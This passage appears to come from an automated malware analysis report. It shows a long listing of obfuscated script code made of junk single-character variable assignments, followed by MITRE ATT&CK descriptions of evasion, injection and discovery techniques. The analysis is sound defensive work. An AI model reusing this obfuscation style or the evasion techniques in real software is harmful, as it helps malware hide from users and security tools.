516	oxaacf = "D";
517	oxaacf = "h";
518	oxaacf = "j";
519	oxaacf = "m";
520	mybljhhl = "Q";
521	mybljhhl = "L";
522	mybljhhl = "h";
523	mybljhhl = "u";
524	mybljhhl = "X";
525	mybljhhl = "I";
526	mybljhhl = "e";
527	mybljhhl = "c";
528	mybljhhl = "c";
529	mybljhhl = "D";
530	mybljhhl = "E";
531	mybljhhl = " ";
532	oregpkwxn = "d";
533	oregpkwxn = "n";
534	oregpkwxn = "L";
535	oregpkwxn = "b";
536	oregpkwxn = "e";
537	oregpkwxn = "w";
538	oregpkwxn = "a";
539	oregpkwxn = "N";
540	oregpkwxn = "u";
541	oregpkwxn = "j";
542	oregpkwxn = "e";
543	oregpkwxn = "V";
544	oregpkwxn = "l";
545	oregpkwxn = "R";
546	oregpkwxn = "X";
547	oregpkwxn = "J";
548	oregpkwxn = "U";
549	oregpkwxn = "R";
550	oregpkwxn = "I";
551	oregpkwxn = "b";
552	rwcwbm = "c";
553	rwcwbm = "N";
554	rwcwbm = "h";
555	rwcwbm = "q";
556	rwcwbm = "Q";
557	rwcwbm = "T";
558	rwcwbm = "c";
559	rwcwbm = "t";
560	rwcwbm = "m";
561	rwcwbm = "t";
562	rwcwbm = "e";
563	rwcwbm = "C";
564	rwcwbm = "w";
565	rwcwbm = "e";
566	rwcwbm = "E";
567	rwcwbm = "V";
568	rwcwbm = "L";
569	rwcwbm = "a";
570	rwcwbm = "M";
571	rwcwbm = "n";
572	rwcwbm = "X";
573	rwcwbm = "e";
574	rwcwbm = "4";
575	mlpuqkz = "H";
576	mlpuqkz = "F";
577	mlpuqkz = "b";
578	mlpuqkz = "M";
579	mlpuqkz = "J";
580	mlpuqkz = "n";
581	mlpuqkz = "j";
582	mlpuqkz = "a";
583	mlpuqkz = "q";
584	mlpuqkz = "A";
585	mlpuqkz = "l";
586	mlpuqkz = "C";
587	vufbvyqtj = "I";
588	vufbvyqtj = "k";
589	vufbvyqtj = "N";
590	vufbvyqtj = "D";
591	vufbvyqtj = "A";
592	vufbvyqtj = "e";
593	vufbvyqtj = "I";
594	vufbvyqtj = "o";
595	vufbvyqtj = "h";
596	vufbvyqtj = "A";
597	vufbvyqtj = "s";
598	vufbvyqtj = "e";
599	vufbvyqtj = "O";
600	vufbvyqtj = "j";
601	vufbvyqtj = "X";
602	vufbvyqtj = "M";
603	vufbvyqtj = "t";
604	vufbvyqtj = "U";
605	clmogh = "q";
606	clmogh = "a";
607	clmogh = "q";
608	clmogh = "A";
609	clmogh = "k";
610	clmogh = "v";
611	clmogh = "M";
612	clmogh = "E";
613	clmogh = "h";
614	clmogh = "F";
615	clmogh = "b";
616	clmogh = "m";
617	clmogh = "w";
618	clmogh = "J";
619	clmogh = "W";
620	clmogh = "M";
621	clmogh = "B";
622	clmogh = "r";
623	clmogh = "r";
624	pqgnjtq = "C";
625	pqgnjtq = "F";
626	pqgnjtq = "J";
627	pqgnjtq = "R";
628	pqgnjtq = "Q";
629	pqgnjtq = "Q";
630	pqgnjtq = "c";
631	pqgnjtq = "L";
632	pqgnjtq = "V";
633	pqgnjtq = "x";
634	pqgnjtq = "u";
635	pqgnjtq = "E";
636	pqgnjtq = "D";
637	pqgnjtq = "f";
638	pqgnjtq = "i";
639	pqgnjtq = "y";
640	pqgnjtq = "m";
641	pqgnjtq = "c";
642	pqgnjtq = "J";
643	pqgnjtq = "L";
644	pqgnjtq = "z";
645	pqgnjtq = "R";
646	pqgnjtq = "o";
647	pqgnjtq = "G";
648	pqgnjtq = "E";
649	pqgnjtq = "f";
650	pqgnjtq = "y";
651	pqgnjtq = "W";
652	pqgnjtq = "r";
653	pqgnjtq = "n";
654	avvhchkjl = "l";
655	avvhchkjl = "m";
656	avvhchkjl = "d";
657	avvhchkjl = "z";
658	avvhchkjl = "S";
659	avvhchkjl = "B";
660	avvhchkjl = "S";
661	avvhchkjl = "N";
662	avvhchkjl = "E";
663	avvhchkjl = "C";
664	avvhchkjl = "U";
665	avvhchkjl = "Y";
666	avvhchkjl = "C";
667	avvhchkjl = "B";
668	avvhchkjl = "H";
669	avvhchkjl = "D";
670	avvhchkjl = "O";
671	avvhchkjl = "i";
672	avvhchkjl = "I";
673	avvhchkjl = "L";
674	avvhchkjl = "s";
675	zkgztmi = "g";
676	zkgztmi = "L";
677	zkgztmi = "d";
678	zkgztmi = "I";
679	zkgztmi = "c";
680	zkgztmi = "o";
681	zkgztmi = "i";
682	zkgztmi = "i";
683	zkgztmi = "D";
684	zkgztmi = "I";
685	zkgztmi = "g";
686	zkgztmi = "H";
687	zkgztmi = "i";
688	zkgztmi = "e";
689	zkgztmi = "r";
690	zkgztmi = "a";
691	zkgztmi = "i";
692	zkgztmi = "c";
693	zkgztmi = "D";
694	zkgztmi = "M";
695	zkgztmi = "C";
696	zkgztmi = "l";
697	zkgztmi = "c";
698	zkgztmi = "D";
699	zkgztmi = "X";
700	zkgztmi = "S";
701	zkgztmi = "N";
702	zkgztmi = "G";
703	zkgztmi = "s";
704	zkgztmi = "V";
705	zkgztmi = "E";
706	dtwwsvgeq = "X";
707	dtwwsvgeq = "L";
708	dtwwsvgeq = "d";
709	dtwwsvgeq = "S";
710	dtwwsvgeq = "u";
711	dtwwsvgeq = "H";
712	dtwwsvgeq = "z";
713	dtwwsvgeq = "-";
714	zbaqfqkc = "T";
715	zbaqfqkc = "z";
716	zbaqfqkc = "B";
717	zbaqfqkc = "r";
718	zbaqfqkc = "r";
719	zbaqfqkc = "L";
720	zbaqfqkc = "o";
721	zbaqfqkc = "q";
722	zbaqfqkc = "y";
723	zbaqfqkc = "B";
724	zbaqfqkc = "H";
725	zbaqfqkc = "L";
726	zbaqfqkc = "O";
727	zbaqfqkc = "K";
728	zbaqfqkc = "A";
729	zbaqfqkc = "C";
730	zbaqfqkc = "R";
731	zbaqfqkc = "X";
732	zbaqfqkc = "m";
733	zbaqfqkc = "n";
734	zbaqfqkc = "X";
735	zbaqfqkc = "h";
736	zbaqfqkc = "i";
737	zbaqfqkc = "l";
738	zbaqfqkc = "w";
739	zbaqfqkc = "A";
740	zbaqfqkc = "i";
741	zbaqfqkc = "w";
742	zbaqfqkc = "S";
743	vokxvlmrt = "F";
744	vokxvlmrt = "G";
745	vokxvlmrt = "F";
746	vokxvlmrt = "l";
747	vokxvlmrt = "b";
748	vokxvlmrt = "s";
749	vokxvlmrt = "S";
750	vokxvlmrt = "b";
751	vokxvlmrt = "f";
752	vokxvlmrt = "u";
753	vokxvlmrt = "d";
754	vokxvlmrt = "b";
755	vokxvlmrt = "G";
756	vokxvlmrt = "V";
757	vokxvlmrt = "B";
758	vokxvlmrt = "J";
759	vokxvlmrt = "e";
760	vokxvlmrt = "e";
761	vokxvlmrt = "I";
762	vokxvlmrt = "s";
763	vokxvlmrt = "R";
764	vokxvlmrt = "g";
765	vokxvlmrt = "W";
766	vokxvlmrt = "H";
767	vokxvlmrt = "R";
768	vokxvlmrt = "v";
769	vokxvlmrt = "b";
770	vokxvlmrt = "T";
771	vokxvlmrt = "p";
772	vokxvlmrt = "C";
773	vokxvlmrt = "W";
774	vokxvlmrt = "d";
775	vokxvlmrt = "S";
776	vokxvlmrt = "b";
777	vokxvlmrt = "V";
778	vokxvlmrt = "W";
779	vokxvlmrt = "X";
780	vokxvlmrt = "j";
781	vokxvlmrt = "a";
782	ipsgqk = "D";
783	ipsgqk = "B";
784	ipsgqk = "g";
785	ipsgqk = "x";
786	ipsgqk = "o";
787	ipsgqk = "u";
788	bmqjh = "o";
789	bmqjh = "Q";
790	bmqjh = "M";
791	bmqjh = "O";
792	bmqjh = "U";
793	bmqjh = "e";
794	bmqjh = "r";
795	bmqjh = "H";
796	bmqjh = "p";
797	bmqjh = "c";
798	bmqjh = "q";
799	bmqjh = "V";
800	bmqjh = "p";
801	bmqjh = "g";
802	bmqjh = "X";
803	bmqjh = "N";
804	bmqjh = "N";
805	bmqjh = "L";
806	bmqjh = "W";
807	bmqjh = "f";
808	bmqjh = "Q";
809	ittswca = "q";
810	ittswca = "E";
811	ittswca = "v";
812	ittswca = "R";
813	ittswca = "m";
814	ittswca = "E";
815	ittswca = "I";
816	ittswca = "F";
817	ittswca = "p";
818	ittswca = "n";
819	ittswca = "u";
820	ittswca = "y";
821	ittswca = "U";
822	ittswca = "R";
823	ittswca = "N";
824	ittswca = "f";
825	ittswca = "A";
826	ittswca = "S";
827	ittswca = "q";
828	ittswca = "N";
829	ittswca = "D";
830	ittswca = "B";
831	ittswca = "Y";
832	ittswca = "u";
833	ittswca = "O";
834	ittswca = "G";
835	ittswca = "u";
836	ittswca = "g";
837	ittswca = "p";
838	ittswca = "U";
839	ittswca = "v";
840	ittswca = "H";
841	hhpthp = "W";
842	hhpthp = "D";
843	hhpthp = "e";
844	hhpthp = "V";
845	hhpthp = "q";
846	hhpthp = "h";
847	hhpthp = "q";
848	hhpthp = "D";
849	hhpthp = "F";
850	hhpthp = "d";
851	hhpthp = "j";
852	hhpthp = "P";
853	hhpthp = "K";
854	hhpthp = "V";
855	hhpthp = "z";
856	hhpthp = "V";
857	hhpthp = "U";
858	hhpthp = "h";
859	hhpthp = "L";
860	hhpthp = "x";
861	hhpthp = "b";
862	hhpthp = "O";
863	hhpthp = "h";
864	hhpthp = "i";
865	hhpthp = "M";
866	hhpthp = "k";
867	hhpthp = "t";
868	aidpr = "A";
869	aidpr = "R";
870	aidpr = "h";
871	aidpr = "R";
872	aidpr = "R";
873	aidpr = "P";
874	aidpr = "w";
875	aidpr = "T";
876	aidpr = "C";
877	aidpr = "S";
878	aidpr = "P";
879	aidpr = "c";
880	aidpr = "a";
881	aidpr = "I";
882	aidpr = "A";
883	aidpr = "l";
884	aidpr = "I";
885	aidpr = "a";
886	aidpr = "r";
887	aidpr = "J";
888	aidpr = "l";
889	aidpr = "O";
890	aidpr = "i";
891	aidpr = "S";
892	aidpr = "M";
893	aidpr = "T";
894	aidpr = "R";
895	aidpr = "h";
896	aidpr = "K";
897	aidpr = "P";
898	aidpr = "R";
899	aidpr = "e";
900	aidpr = "z";
901	aidpr = "f";
902	aidpr = "k";
903	aidpr = "g";
904	aidpr = "l";
905	aidpr = "d";
906	aidpr = "z";
907	aidpr = "x";
908	aidpr = "x";
909	buakhk = "r";
910	buakhk = "X";
911	buakhk = "t";
912	buakhk = "I";
913	buakhk = "n";
914	buakhk = "l";
915	buakhk = "n";
916	buakhk = "v";
917	buakhk = "Q";
918	buakhk = "g";
919	buakhk = "S";
920	buakhk = "M";
921	buakhk = "J";
922	buakhk = "U";
923	buakhk = "I";
924	buakhk = "V";
925	buakhk = "p";
926	buakhk = "F";
927	buakhk = "q";
928	buakhk = "T";
929	buakhk = "k";
930	buakhk = "w";
931	buakhk = "c";
932	buakhk = "A";
933	buakhk = "h";
934	buakhk = "i";
935	buakhk = "K";
936	buakhk = "Z";
937	buakhk = "j";
938	buakhk = "F";
939	buakhk = "B";
940	buakhk = "R";
941	buakhk = "e";
942	buakhk = "m";
943	buakhk = "a";
944	buakhk = "N";
945	buakhk = "U";
946	buakhk = "O";
947	buakhk = "1";
948	ruudpmtt = "F";
949	ruudpmtt = "l";
950	ruudpmtt = "k";
951	ruudpmtt = "l";
952	ruudpmtt = "C";
953	ruudpmtt = "W";
954	ruudpmtt = "s";
955	ruudpmtt = "m";
956	ruudpmtt = "u";
957	ruudpmtt = "K";
958	ruudpmtt = "x";
959	ruudpmtt = "m";
960	ruudpmtt = "s";
961	ruudpmtt = "t";
962	ruudpmtt = "i";
963	ruudpmtt = "z";
964	ruudpmtt = "R";
965	ruudpmtt = "V";
966	ruudpmtt = "L";
967	ruudpmtt = "N";
968	ruudpmtt = "M";
969	ruudpmtt = "L";
970	ruudpmtt = "C";
971	ruudpmtt = "u";
972	ruudpmtt = "j";
973	ruudpmtt = "F";
974	ruudpmtt = "j";
975	qjoarg = "s";
976	qjoarg = "N";
977	qjoarg = "Z";
978	qjoarg = "r";
979	qjoarg = "V";
980	qjoarg = "x";
981	qjoarg = "g";
982	qjoarg = "H";
983	qjoarg = "v";
984	qjoarg = "b";
985	qjoarg = "H";
986	qjoarg = "G";
987	qjoarg = "n";
988	qjoarg = "C";
989	qjoarg = "f";
990	qjoarg = "k";
991	qjoarg = "t";
992	qjoarg = "\\";
993	hytlv = "J";
994	hytlv = "a";
995	hytlv = "&";
996	jhoeemlc = "w";
997	jhoeemlc = "e";
998	jhoeemlc = "r";
999	jhoeemlc = "c";
1000	jhoeemlc = "e";
1001	jhoeemlc = "f";
1002	jhoeemlc = "C";
1003	jhoeemlc = "T";
1004	jhoeemlc = "O";
1005	jhoeemlc = "t";
1006	jhoeemlc = "U";
1007	jhoeemlc = "m";
1008	jhoeemlc = "l";
1009	jhoeemlc = "s";
1010	jhoeemlc = "c";
1011	jhoeemlc = "V";
1012	jhoeemlc = "M";
1013	jhoeemlc = "o";
1014	jhoeemlc = "l";
1015	jhoeemlc = "h";
1016	jhoeemlc = "v";
1017	jhoeemlc = "w";
1018	jhoeemlc = "P";
1019	jhoeemlc = "i";
1020	jhoeemlc = "T";
1021	jhoeemlc = "T";
1022	cetexbp = "c";
1023	cetexbp = "I";
1024	cetexbp = "C";
1025	cetexbp = "v";
1026	cetexbp = "I";
1027	cetexbp = "F";
1028	cetexbp = "G";
1029	cetexbp = "K";
1030	cetexbp = "M";
1031	cetexbp = "u";
1032	cetexbp = "a";
1033	cetexbp = "F";
1034	cetexbp = "Z";
1035	cetexbp = "Y";
1036	cetexbp = "W";
1037	cetexbp = "f";
1038	cetexbp = "j";
1039	cetexbp = "O";
1040	cetexbp = "z";
1041	cetexbp = "m";
1042	cetexbp = "e";
1043	cetexbp = "X";
1044	cetexbp = "d";
1045	cetexbp = "g";
1046	cetexbp = "r";
1047	cetexbp = "p";
1048	cetexbp = "W";
1049	cetexbp = "B";
1050	cetexbp = "R";
1051	cetexbp = "w";
1052	cetexbp = "V";
1053	cetexbp = "n";
1054	cetexbp = "I";
1055	ndubig = "Z";
1056	ndubig = "R";
1057	ndubig = "o";
1058	ndubig = "h";
1059	ndubig = "X";
1060	ndubig = "Y";
1061	ndubig = "l";
1062	ndubig = "d";
1063	ndubig = "M";
1064	ndubig = "x";
1065	ndubig = "F";
1066	ndubig = "J";
1067	ndubig = "P";
1068	ndubig = "o";
1069	ndubig = "z";
1070	ndubig = "r";
1071	ndubig = "t";
1072	ndubig = "r";
1073	ndubig = "X";
1074	ndubig = "u";
1075	ndubig = "Q";
1076	ndubig = "P";
1077	ndubig = "S";
1078	ndubig = "I";
1079	ndubig = "d";
1080	ndubig = "N";
1081	ndubig = "I";
1082	ndubig = "h";
1083	ndubig = "A";
1084	ndubig = "m";
1085	ndubig = "P";
1086	ndubig = "i";
1087	ndubig = "D";
1088	ndubig = "x";
1089	ndubig = "Q";
1090	ndubig = "Q";
1091	ndubig = "A";
1092	ndubig = "v";
1093	zdusmod = "D";
1094	zdusmod = "R";
1095	zdusmod = "v";
1096	zdusmod = "s";
1097	zdusmod = "M";
1098	zdusmod = "d";
1099	zdusmod = "u";
1100	zdusmod = "r";
1101	zdusmod = "Y";
1102	zdusmod = "k";
1103	zdusmod = "O";
1104	zdusmod = "M";
1105	zdusmod = "k";
1106	zdusmod = "h";
1107	zdusmod = "a";
1108	zdusmod = "u";
1109	zdusmod = "m";
1110	zdusmod = "e";
1111	zdusmod = "z";
1112	zdusmod = "I";
1113	zdusmod = "w";
1114	zdusmod = "V";
1115	zdusmod = "R";
1116	zdusmod = "m";
1117	zdusmod = "0";
1118	ttsmrrk = "I";
1119	ttsmrrk = "y";
1120	ttsmrrk = "H";
1121	ttsmrrk = "t";
1122	ttsmrrk = "R";
1123	ttsmrrk = "a";
1124	ttsmrrk = "b";
1125	ttsmrrk = "e";
1126	ttsmrrk = "_";
1127	yfvgordqz = "c";
1128	yfvgordqz = "e";
1129	yfvgordqz = "X";
1130	yfvgordqz = "U";
1131	yfvgordqz = "d";
1132	yfvgordqz = "r";
1133	yfvgordqz = "J";
1134	yfvgordqz = "Z";
1135	yfvgordqz = "r";
1136	yfvgordqz = "n";
1137	yfvgordqz = "5";
1138	qydqp = "g";
1139	qydqp = "a";
1140	qydqp = "U";
1141	qydqp = "s";
1142	qydqp = "G";
1143	qydqp = "h";
1144	ndgntcf = "B";
1145	ndgntcf = "w";
1146	ndgntcf = "P";
1147	ndgntcf = "h";
1148	ndgntcf = "R";
1149	ndgntcf = "p";
1150	ndgntcf = "h";
1151	ndgntcf = "o";
1152	ndgntcf = "M";
1153	ndgntcf = "F";
1154	ndgntcf = "g";
1155	ndgntcf = "X";
1156	ndgntcf = "I";
1157	ndgntcf = "J";
1158	ndgntcf = "i";
1159	ndgntcf = "g";
1160	ndgntcf = "S";
1161	ndgntcf = "W";
1162	ndgntcf = "l";
1163	gjckn = "T";
1164	gjckn = "P";
1165	gjckn = "i";
1166	gjckn = "e";
1167	gjckn = "o";
1168	gjckn = "Z";
1169	gjckn = "2";
1170	phmvwuwx = "K";
1171	vfyxqmyq = "J";
1172	vfyxqmyq = "x";
1173	vfyxqmyq = "J";
1174	vfyxqmyq = "8";
1175	piaucdogb = "O";
1176	piaucdogb = "Q";
1177	piaucdogb = "j";
1178	piaucdogb = "b";
1179	piaucdogb = "a";
1180	piaucdogb = "C";
1181	piaucdogb = "p";
1182	piaucdogb = "e";
1183	piaucdogb = "I";
1184	piaucdogb = "i";
1185	piaucdogb = "r";
1186	piaucdogb = "F";
1187	piaucdogb = "S";
1188	piaucdogb = "S";
1189	piaucdogb = "q";
1190	piaucdogb = "f";
1191	piaucdogb = "u";
1192	piaucdogb = "a";
1193	piaucdogb = "G";
1194	piaucdogb = "G";
1195	piaucdogb = "Y";
1196	piaucdogb = "Q";
1197	piaucdogb = "N";
1198	piaucdogb = "o";
1199	piaucdogb = "D";
1200	piaucdogb = "q";
1201	piaucdogb = "c";
1202	piaucdogb = "T";
1203	piaucdogb = "R";
1204	cojhv = "M";
1205	cojhv = "Y";
1206	cojhv = "n";
1207	cojhv = "j";
1208	cojhv = "w";
1209	cojhv = "y";
1210	cojhv = "x";
1211	cojhv = "A";
1212	cojhv = "F";
1213	cojhv = "l";
1214	cojhv = "h";
1215	cojhv = "n";
1216	cojhv = "E";
1217	cojhv = "J";
1218	cojhv = "e";
1219	cojhv = "V";
1220	cojhv = "E";
1221	cojhv = "C";
1222	cojhv = "G";
1223	cojhv = "c";
1224	cojhv = "b";
1225	cojhv = "n";
1226	cojhv = "n";
1227	cojhv = "M";
1228	cojhv = "g";
1229	cojhv = "h";
1230	cojhv = "X";
1231	cojhv = ".";
1232	yghhz = "Z";
1233	yghhz = "V";
1234	yghhz = "b";
1235	yghhz = "H";
1236	yghhz = "V";
1237	yghhz = "d";
1238	yghhz = "P";
1239	yghhz = "I";
1240	yghhz = "m";
1241	yghhz = "b";
1242	yghhz = "W";
1243	yghhz = "n";
1244	yghhz = "l";
1245	yghhz = "r";
1246	yghhz = "t";
1247	yghhz = "d";
1248	yghhz = "X";
1249	yghhz = "W";
1250	yghhz = "t";
1251	yghhz = "u";
1252	yghhz = "a";
1253	yghhz = "H";
1254	yghhz = "j";
1255	yghhz = "m";
1256	yghhz = "z";
1257	yghhz = "S";
1258	yghhz = "P";
1259	yghhz = "n";
1260	yghhz = "Q";
1261	yghhz = "p";
1262	buuzx = "B";
1263	buuzx = "C";
1264	buuzx = "r";
1265	buuzx = "G";
1266	buuzx = "I";
1267	buuzx = "I";
1268	buuzx = "v";
1269	buuzx = "A";
1270	buuzx = "a";
1271	buuzx = "A";
1272	buuzx = "a";
1273	buuzx = "x";
1274	buuzx = "J";
1275	buuzx = "e";
1276	buuzx = "r";
1277	buuzx = "U";
1278	buuzx = "r";
1279	buuzx = "q";
1280	buuzx = "Q";
1281	buuzx = "V";
1282	buuzx = "H";
1283	buuzx = "B";
1284	buuzx = "T";
1285	buuzx = "C";
1286	buuzx = "b";
1287	buuzx = "d";
1288	buuzx = "V";
1289	buuzx = "a";
1290	buuzx = "g";
1291	necemsgkz = "t";
1292	necemsgkz = "J";
1293	necemsgkz = "m";
1294	necemsgkz = "K";
1295	necemsgkz = "a";
1296	necemsgkz = "F";
1297	necemsgkz = "Y";
1298	necemsgkz = "F";
1299	necemsgkz = "T";
1300	necemsgkz = "p";
1301	necemsgkz = "E";
1302	necemsgkz = "Z";
1303	necemsgkz = "B";
1304	necemsgkz = "U";
1305	necemsgkz = "c";
1306	necemsgkz = "x";
1307	necemsgkz = "K";
1308	necemsgkz = "v";
1309	necemsgkz = "r";
1310	necemsgkz = "K";
1311	necemsgkz = "u";
1312	necemsgkz = "A";
1313	necemsgkz = "Q";
1314	necemsgkz = "y";
1315	necemsgkz = "S";
1316	necemsgkz = "Q";
1317	necemsgkz = "X";
1318	necemsgkz = "F";
1319	necemsgkz = "H";
1320	necemsgkz = "V";
1321	necemsgkz = "p";
1322	necemsgkz = "Z";
1323	necemsgkz = "c";
1324	necemsgkz = "i";
1325	necemsgkz = "g";
1326	necemsgkz = "N";
1327	necemsgkz = "A";
1328	necemsgkz = "e";
1329	necemsgkz = "o";
1330	necemsgkz = "C";
1331	necemsgkz = "a";
1332	necemsgkz = "W";
1333	necemsgkz = "N";
1334	okpxfcouq = "H";
1335	okpxfcouq = "R";
1336	okpxfcouq = "X";
1337	okpxfcouq = "U";
1338	okpxfcouq = "y";
1339	okpxfcouq = "c";
1340	okpxfcouq = "I";
1341	okpxfcouq = "i";
1342	okpxfcouq = "G";
1343	okpxfcouq = "N";
1344	okpxfcouq = "r";
1345	okpxfcouq = "o";
1346	okpxfcouq = "c";
1347	okpxfcouq = "g";
1348	okpxfcouq = "o";
1349	okpxfcouq = "S";
1350	okpxfcouq = "n";
1351	okpxfcouq = "c";
1352	okpxfcouq = "l";
1353	okpxfcouq = "m";
1354	okpxfcouq = "i";
1355	sdqbmflkk = "S";
1356	sdqbmflkk = "w";
1357	sdqbmflkk = "L";
1358	sdqbmflkk = "o";
1359	sdqbmflkk = "J";
1360	sdqbmflkk = "S";
1361	sdqbmflkk = "P";
1362	sdqbmflkk = "V";
1363	sdqbmflkk = "c";
1364	sdqbmflkk = "l";
1365	sdqbmflkk = "p";
1366	sdqbmflkk = "f";
1367	sdqbmflkk = "J";
1368	sdqbmflkk = "B";
1369	sdqbmflkk = "r";
1370	sdqbmflkk = "v";
1371	sdqbmflkk = "C";
1372	sdqbmflkk = "S";
1373	sdqbmflkk = "F";
1374	sdqbmflkk = "R";
1375	sdqbmflkk = "q";
1376	sdqbmflkk = "k";
1377	sdqbmflkk = "e";
1378	fseubb = "a";
1379	fseubb = "k";
1380	fseubb = "J";
1381	fseubb = "j";
1382	fseubb = "D";
1383	fseubb = "E";
1384	fseubb = "m";
1385	fseubb = "m";
1386	fseubb = "y";
1387	fseubb = "U";
1388	fseubb = "B";
1389	fseubb = "\"";
1390	tqvhwpbi = "a";
1391	tqvhwpbi = "D";
1392	tqvhwpbi = "v";
1393	tqvhwpbi = "J";
1394	tqvhwpbi = "w";
1395	tqvhwpbi = "P";
1396	tqvhwpbi = "y";
1397	tqvhwpbi = "v";
1398	tqvhwpbi = "r";
1399	tqvhwpbi = "v";
1400	tqvhwpbi = "i";
1401	tqvhwpbi = "k";
1402	tqvhwpbi = "Y";
1403	tqvhwpbi = "j";
1404	tqvhwpbi = "B";
1405	tqvhwpbi = "D";
1406	tqvhwpbi = "c";
1407	tqvhwpbi = "t";
1408	tqvhwpbi = "H";
1409	tqvhwpbi = "X";
1410	tqvhwpbi = "M";
1411	tqvhwpbi = "M";
1412	tqvhwpbi = "j";
1413	tqvhwpbi = "M";
1414	tqvhwpbi = "b";
1415	tqvhwpbi = "q";
1416	tqvhwpbi = "i";
1417	tqvhwpbi = "E";
1418	tqvhwpbi = "M";
1419	tqvhwpbi = "G";
1420	tqvhwpbi = "r";
1421	tqvhwpbi = "f";
1422	tqvhwpbi = "o";
1423	tqvhwpbi = "V";
1424	tqvhwpbi = "S";
1425	tqvhwpbi = "b";
1426	tqvhwpbi = "x";
1427	tqvhwpbi = "b";
1428	tqvhwpbi = "V";
1429	tqvhwpbi = "/";
1430	iytjh ( );	iytjh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
